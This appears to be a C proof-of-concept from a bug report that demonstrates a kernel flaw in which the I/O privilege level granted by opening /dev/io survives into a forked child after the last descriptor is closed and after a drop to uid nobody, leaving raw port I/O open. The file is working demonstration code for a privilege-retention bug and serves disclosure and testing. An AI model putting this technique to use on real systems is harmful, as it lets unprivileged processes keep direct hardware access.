DF-5673 / iopl_lifecycle.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * iopl_lifecycle.c โ IOPL grant lifecycle probe (privileged path). * * Demonstrates the accounting gap around * sys/platform/pc64/x86_64/sysarch.c:52-65 cpu_set_iopl()/cpu_clr_iopl() * sys/kern/kern_memio.c:184-218 /dev/io open/close * sys/platform/pc64/x86_64/vm_machdep.c:159 fork trapframe bcopy * * Run as root. Port 0x80 (POST diag latch, benign in QEMU) is the probe. * A #GP on port access from CPL3 delivers SIGSEGV; caught with sigsetjmp. * * Chain: * step 0 control: unprivileged-style port access -> SIGSEGV expected (IOPL 0) * step 1 open /dev/io -> IOPL becomes 3 in THIS lwp frame * step 2 port OUT/IN succeeds * step 3 fork(); child closes its inherited fd FIRST, parent closes * LAST (mmclose -> cpu_clr_iopl on the parent = the closer); * child never opened anything and holds no fd afterwards. * step 4 child: IOPL must be 0 per io(4) contract ("while fd held") โ * observed: still 3, port I/O still works. * step 5 child: setuid(65534) (nobody) โ IOPL survives privilege drop, * port I/O still works with zero fds and uid nobody. */ #include <sys/types.h> #include <errno.h> #include <fcntl.h> #include <setjmp.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/wait.h> #include <unistd.h> static sigjmp_buf gp_jb; static volatile sig_atomic_t gp_hit; static void gp_handler(int sig) { gp_hit = 1; siglongjmp(gp_jb, 1); } static unsigned iopl_cur(void) { unsigned long rf; __asm __volatile("pushfq; popq %0" : "=r"(rf)); return (unsigned)((rf >> 12) & 3); } /* returns 0 = access ok, 1 = SIGSEGV (#GP), -1 = ??? */ static int try_port_io(void) { unsigned char v; gp_hit = 0; if (sigsetjmp(gp_jb, 1) != 0) return gp_hit ? 1 : -1; __asm __volatile("outb %%al, %%dx" : : "a"((unsigned char)0x42), "d"((unsigned short)0x80)); __asm __volatile("inb %%dx, %%al" : "=a"(v) : "d"((unsigned short)0x80)); (void)v; return 0; } int main(void) { int fd, r; pid_t pid; int status; signal(SIGSEGV, gp_handler); signal(SIGBUS, gp_handler); setvbuf(stdout, NULL, _IONBF, 0); printf("[step0] control port access, IOPL=%u -> ", iopl_cur()); r = try_port_io(); printf("%s (expect SIGSEGV/#GP)\n", r == 1 ? "SIGSEGV" : r == 0 ? "OK(!)" : "??"); fd = open("/dev/io", O_RDONLY); if (fd < 0) { printf("open(/dev/io) failed: %s\n", strerror(errno)); return 1; } printf("[step1] open(/dev/io) ok, IOPL now = %u (expect 3)\n", iopl_cur()); printf("[step2] port access with fd: %s (expect OK)\n", try_port_io() == 0 ? "OK" : "SIGSEGV(!)"); fflush(stdout); pid = fork(); if (pid == 0) { /* child: close inherited fd first so parent's close is the LAST */ close(fd); sleep(2); /* let parent do the last close */ printf("[step4] child: all /dev/io fds closed, IOPL=%u (contract says 0)\n", iopl_cur()); printf("[step4] child: port access after last close: %s\n", try_port_io() == 0 ? "OK โ GRANT OUTLIVED THE FD" : "SIGSEGV"); r = setuid(65534); if (r != 0) { printf("[step5] setuid(65534) failed: %s\n", strerror(errno)); _exit(9); } printf("[step5] child: uid=%d IOPL=%u port access: %s\n", getuid(), iopl_cur(), try_port_io() == 0 ? "OK โ GRANT SURVIVED PRIVILEGE DROP" : "SIGSEGV"); _exit(0); } sleep(1); close(fd); /* LAST close -> mmclose -> cpu_clr_iopl() on PARENT lwp */ printf("[step3] parent closed fd (last close), parent IOPL=%u (expect 0 โ clr hit closer)\n", iopl_cur()); waitpid(pid, &status, 0); printf("[done ] child exit status %d\n", WEXITSTATUS(status)); return 0; } |